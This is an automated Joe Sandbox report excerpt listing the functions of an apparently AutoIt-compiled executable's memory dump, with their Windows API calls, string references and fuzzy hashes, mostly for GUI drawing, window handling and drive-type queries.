Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: c1aa0976f26608de5fd9c3a13eb52b5b998a4f38feab73d4b2a9b8a0279c5193
Instruction ID: ac3bc3045fce3487233a6e799f28987912cee374f79d4e21c5ef7935c47d1d72
Opcode Fuzzy Hash: c1aa0976f26608de5fd9c3a13eb52b5b998a4f38feab73d4b2a9b8a0279c5193
Instruction Fuzzy Hash: 49E012312102059FC710EF99D504D9AF7E9AF58770F008416FC46CB361D670A8418B90

Function 00A809D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00A803EE), ref: 00A809DA

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9d6f97cfaeff5bb7a1dc35ab790021483e1ee02cbc7b00ffe388e0c21db80628
Instruction ID: 3c053cbeb4e9aaabae463837301944bf894113c25febcfad407c265148c72735
Opcode Fuzzy Hash: 9d6f97cfaeff5bb7a1dc35ab790021483e1ee02cbc7b00ffe388e0c21db80628
Instruction Fuzzy Hash:

Function 00AE2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00AE2B30
DeleteObject.GDI32(00000000), ref: 00AE2B43
DestroyWindow.USER32 ref: 00AE2B52
GetDesktopWindow.USER32 ref: 00AE2B6D
GetWindowRect.USER32(00000000), ref: 00AE2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00AE2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00AE2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2CF8
GetClientRect.USER32(00000000,?), ref: 00AE2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00AE2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2D80
GlobalLock.KERNEL32(00000000), ref: 00AE2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2D98
GlobalUnlock.KERNEL32(00000000), ref: 00AE2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2DA8
GlobalFree.KERNEL32(00000000), ref: 00AE2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00AFFC38,00000000), ref: 00AE2DDB
GlobalFree.KERNEL32(00000000), ref: 00AE2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00AE2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00AE2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00AE303F

Strings

AutoIt v3, xrefs: 00AE2CF2
DISPLAY, xrefs: 00AE2EA2
static, xrefs: 00AE2D3A, 00AE2E91
, xrefs: 00AE2FC5

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 2ced211fb1ed2c1183810f7d1208dec2a1fdab995193bfda78126010ba89782e
Instruction ID: b96ab7500a413232831d76ff53b83805be87b53bfa421ffbff5f85d314a601ad
Opcode Fuzzy Hash: 2ced211fb1ed2c1183810f7d1208dec2a1fdab995193bfda78126010ba89782e
Instruction Fuzzy Hash: 99027D71500209AFDB14DFA5CD89EAE7BB9FF48720F108558F916AB2A1DB70AD01CB60

Function 00AF70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00AF712F
GetSysColorBrush.USER32(0000000F), ref: 00AF7160
GetSysColor.USER32(0000000F), ref: 00AF716C
SetBkColor.GDI32(?,000000FF), ref: 00AF7186
SelectObject.GDI32(?,?), ref: 00AF7195
InflateRect.USER32(?,000000FF,000000FF), ref: 00AF71C0
GetSysColor.USER32(00000010), ref: 00AF71C8
CreateSolidBrush.GDI32(00000000), ref: 00AF71CF
FrameRect.USER32(?,?,00000000), ref: 00AF71DE
DeleteObject.GDI32(00000000), ref: 00AF71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00AF7230
FillRect.USER32(?,?,?), ref: 00AF7262
GetWindowLongW.USER32(?,000000F0), ref: 00AF7284

Part of subcall function 00AF73E8: GetSysColor.USER32(00000012), ref: 00AF7421
Part of subcall function 00AF73E8: SetTextColor.GDI32(?,?), ref: 00AF7425
Part of subcall function 00AF73E8: GetSysColorBrush.USER32(0000000F), ref: 00AF743B
Part of subcall function 00AF73E8: GetSysColor.USER32(0000000F), ref: 00AF7446
Part of subcall function 00AF73E8: GetSysColor.USER32(00000011), ref: 00AF7463
Part of subcall function 00AF73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00AF7471
Part of subcall function 00AF73E8: SelectObject.GDI32(?,00000000), ref: 00AF7482
Part of subcall function 00AF73E8: SetBkColor.GDI32(?,00000000), ref: 00AF748B
Part of subcall function 00AF73E8: SelectObject.GDI32(?,?), ref: 00AF7498
Part of subcall function 00AF73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00AF74B7
Part of subcall function 00AF73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00AF74CE
Part of subcall function 00AF73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00AF74DB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 03dc0a8db9a3090d1cb95770fcb080dea013200e09a199fa53741623360d36da
Instruction ID: 697569c422e1e470b3da8d51192af3be4d6438637984b5f09be3360bbe49d6df
Opcode Fuzzy Hash: 03dc0a8db9a3090d1cb95770fcb080dea013200e09a199fa53741623360d36da
Instruction Fuzzy Hash: A7A17E72008309AFD710DFE5DD48ABE7BA9FB49330F100B19FAA2961A1D771E945CB51

Function 00A78D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00A78E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00AB6AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00AB6AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00AB6F43

Part of subcall function 00A78F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00A78BE8,?,00000000,?,?,?,?,00A78BBA,00000000,?), ref: 00A78FC5

SendMessageW.USER32(?,00001053), ref: 00AB6F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00AB6F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00AB6FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00AB6FB7

Strings

0, xrefs: 00AB6DCF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 5dc1b95c4e8ae2e044051112755b25c76da61037aa2febafd22a2a772a570821
Instruction ID: ee5dc0f59634a73a76e3b32f2e62f15804225f4b7f4f8dda10de60645dea613e
Opcode Fuzzy Hash: 5dc1b95c4e8ae2e044051112755b25c76da61037aa2febafd22a2a772a570821
Instruction Fuzzy Hash: 69129C30604201DFDB25CF28C958BBABBF9FB45310F248569E4898B262CB39EC52DB51

Function 00AE2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00AE273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00AE286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00AE28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00AE28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00AE2900
GetClientRect.USER32(00000000,?), ref: 00AE290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00AE2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00AE2964
GetStockObject.GDI32(00000011), ref: 00AE2974
SelectObject.GDI32(00000000,00000000), ref: 00AE2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00AE2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00AE2991
DeleteDC.GDI32(00000000), ref: 00AE299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00AE29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00AE29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00AE2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00AE2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00AE2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00AE2A77
GetStockObject.GDI32(00000011), ref: 00AE2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00AE2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00AE2A97

Strings

AutoIt v3, xrefs: 00AE28F8
DISPLAY, xrefs: 00AE295A
static, xrefs: 00AE294F, 00AE2A71
msctls_progress32, xrefs: 00AE2A13

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 7d04b80a3e5721a0870aeda15411c11e4385e820aeafa96a4ff9d3ad4b2f4bb8
Instruction ID: 0569fa96b2584edbb836d816aa39dfe5bf683808a6841b0c85cbac6a1dd3478f
Opcode Fuzzy Hash: 7d04b80a3e5721a0870aeda15411c11e4385e820aeafa96a4ff9d3ad4b2f4bb8
Instruction Fuzzy Hash: D8B16B75A00219BFEB14DFA9CD89FAE7BB9EB08710F104515F915E72A0DB70AD40CBA4

Function 00AD4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AD4AED
GetDriveTypeW.KERNEL32(?,00AFCB68,?,\\.\,00AFCC08), ref: 00AD4BCA
SetErrorMode.KERNEL32(00000000,00AFCB68,?,\\.\,00AFCC08), ref: 00AD4D36

Strings

Unknown, xrefs: 00AD4BED, 00AD4C83
USB, xrefs: 00AD4CB4
PhysicalDrive, xrefs: 00AD4B76
MMC, xrefs: 00AD4CDE
SSD, xrefs: 00AD4C4A
Fibre, xrefs: 00AD4CAD
SAS, xrefs: 00AD4CC9
RAID, xrefs: 00AD4CBB
ATAPI, xrefs: 00AD4C91
Network, xrefs: 00AD4C02
SSA, xrefs: 00AD4CA6
CDROM, xrefs: 00AD4BFB
\\.\, xrefs: 00AD4B3F
iSCSI, xrefs: 00AD4CC2
SCSI, xrefs: 00AD4C8A
Virtual, xrefs: 00AD4CE5
Removable, xrefs: 00AD4C10, 00AD4C15
1394, xrefs: 00AD4C9F
RAMDisk, xrefs: 00AD4BF4
ATA, xrefs: 00AD4C98
Fixed, xrefs: 00AD4C09
FileBackedVirtual, xrefs: 00AD4CEC
SATA, xrefs: 00AD4CD0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: d53375b4ea8c79b49d99f4f9a7d1d874d3f9f30ca7061c1e84923d7d34e7622b
Instruction ID: 2574cf095787beab6ca995757633abc0f80906097018537d101f3713f8570a7f
Opcode Fuzzy Hash: d53375b4ea8c79b49d99f4f9a7d1d874d3f9f30ca7061c1e84923d7d34e7622b
Instruction Fuzzy Hash: 6F619E30616109EBCB04DF64DA8297D77B1EB4C748B2484A7F80BAB7A1DB36ED41DB41

Function 00AF73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00AF7421
SetTextColor.GDI32(?,?), ref: 00AF7425
GetSysColorBrush.USER32(0000000F), ref: 00AF743B
GetSysColor.USER32(0000000F), ref: 00AF7446
CreateSolidBrush.GDI32(?), ref: 00AF744B
GetSysColor.USER32(00000011), ref: 00AF7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00AF7471
SelectObject.GDI32(?,00000000), ref: 00AF7482
SetBkColor.GDI32(?,00000000), ref: 00AF748B
SelectObject.GDI32(?,?), ref: 00AF7498
InflateRect.USER32(?,000000FF,000000FF), ref: 00AF74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00AF74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00AF74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00AF752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00AF7554
InflateRect.USER32(?,000000FD,000000FD), ref: 00AF7572
DrawFocusRect.USER32(?,?), ref: 00AF757D
GetSysColor.USER32(00000011), ref: 00AF758E
SetTextColor.GDI32(?,00000000), ref: 00AF7596
DrawTextW.USER32(?,00AF70F5,000000FF,?,00000000), ref: 00AF75A8
SelectObject.GDI32(?,?), ref: 00AF75BF
DeleteObject.GDI32(?), ref: 00AF75CA
SelectObject.GDI32(?,?), ref: 00AF75D0
DeleteObject.GDI32(?), ref: 00AF75D5
SetTextColor.GDI32(?,?), ref: 00AF75DB
SetBkColor.GDI32(?,?), ref: 00AF75E5

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: b47f6756ef64db5d227f7285a00e7555b45879e04e4d2adbbd78b7e79b2c39a1
Instruction ID: 7566f3ff40bfa3d24d799b2d1f74c8c2cce6d55bbdb8da9b2e42397974d2abab
Opcode Fuzzy Hash: b47f6756ef64db5d227f7285a00e7555b45879e04e4d2adbbd78b7e79b2c39a1
Instruction Fuzzy Hash: 6B614972904218AFDB01DFE5DD49EEEBFB9EB08320F114215FA15AB2A1D7749941CB90

Function 00AF0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00AF1128
GetDesktopWindow.USER32 ref: 00AF113D
GetWindowRect.USER32(00000000), ref: 00AF1144
GetWindowLongW.USER32(?,000000F0), ref: 00AF1199
DestroyWindow.USER32(?), ref: 00AF11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00AF11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00AF120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00AF121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00AF1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00AF1245
IsWindowVisible.USER32(00000000), ref: 00AF12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00AF12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00AF12D0
GetWindowRect.USER32(00000000,?), ref: 00AF12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00AF130E
GetMonitorInfoW.USER32(00000000,?), ref: 00AF1328
CopyRect.USER32(?,?), ref: 00AF133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00AF13AA

Strings

(, xrefs: 00AF131B
tooltips_class32, xrefs: 00AF11E6
0, xrefs: 00AF10D3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 8bffb5603913fc35d4684227b2121784b5b7c87a436da9ce3066bb8de7493bbf
Instruction ID: 9feb9fc178c4dded169eaad1ce7d2213227857d1ee5de9a574cbb4bcda892dc7
Opcode Fuzzy Hash: 8bffb5603913fc35d4684227b2121784b5b7c87a436da9ce3066bb8de7493bbf
Instruction Fuzzy Hash: 75B1AF71608345EFD740DFA5C984BAABBE4FF84350F00891CFA9A9B2A1DB71D845CB51

Function 00AF0241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00AF02E5
_wcslen.LIBCMT ref: 00AF031F
_wcslen.LIBCMT ref: 00AF0389
_wcslen.LIBCMT ref: 00AF03F1
_wcslen.LIBCMT ref: 00AF0475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00AF04C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00AF0504

Part of subcall function 00A7F9F2: _wcslen.LIBCMT ref: 00A7F9FD

Part of subcall function 00AC223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00AC2258
Part of subcall function 00AC223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00AC228A

Strings

GETITEMCOUNT, xrefs: 00AF0316, 00AF0337
GETSELECTEDCOUNT, xrefs: 00AF0470, 00AF048B
GETTEXT, xrefs: 00AF03EC, 00AF0407
FINDITEM, xrefs: 00AF0627
DESELECT, xrefs: 00AF059C
SELECTCLEAR, xrefs: 00AF052D
SELECTALL, xrefs: 00AF0515
SELECTINVERT, xrefs: 00AF057E
GETSELECTED, xrefs: 00AF05E1
VIEWCHANGE, xrefs: 00AF0675
GETSUBITEMCOUNT, xrefs: 00AF0384, 00AF039F
SELECT, xrefs: 00AF0548
ISSELECTED, xrefs: 00AF04DD

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: e56a5a3682c9c4981191e3dea21d1675ce56f7d98bccb9b4ce43a30ea1c7f229
Instruction ID: 2f26c438f416c3252c55542e9c1d95ef83fe95157c1d79083b6b7a49bc858f9c
Opcode Fuzzy Hash: e56a5a3682c9c4981191e3dea21d1675ce56f7d98bccb9b4ce43a30ea1c7f229
Instruction Fuzzy Hash: 3BE1CE312182058FC714DF64CA50D7AB7E6FF88314B148A6DFA9A9B3A2DB30ED45CB51

Function 00A78891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00A78968
GetSystemMetrics.USER32(00000007), ref: 00A78970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00A7899B
GetSystemMetrics.USER32(00000008), ref: 00A789A3
GetSystemMetrics.USER32(00000004), ref: 00A789C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00A789E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00A789F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00A78A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00A78A3C
GetClientRect.USER32(00000000,000000FF), ref: 00A78A5A
GetStockObject.GDI32(00000011), ref: 00A78A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00A78A81

Part of subcall function 00A7912D: GetCursorPos.USER32(?), ref: 00A79141
Part of subcall function 00A7912D: ScreenToClient.USER32(00000000,?), ref: 00A7915E
Part of subcall function 00A7912D: GetAsyncKeyState.USER32(00000001), ref: 00A79183
Part of subcall function 00A7912D: GetAsyncKeyState.USER32(00000002), ref: 00A7919D

SetTimer.USER32(00000000,00000000,00000028,00A790FC), ref: 00A78AA8

Strings

AutoIt v3 GUI, xrefs: 00A78A20

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: c52ace1578651528ba6132cde8927ef071e5fb5454132c234d1a3f3bcf4e21f9
Instruction ID: 1d557b756cda5d7bea6f7c7357759a15d4213de2dce5aa84c97ed4cb9fc882e8
Opcode Fuzzy Hash: c52ace1578651528ba6132cde8927ef071e5fb5454132c234d1a3f3bcf4e21f9
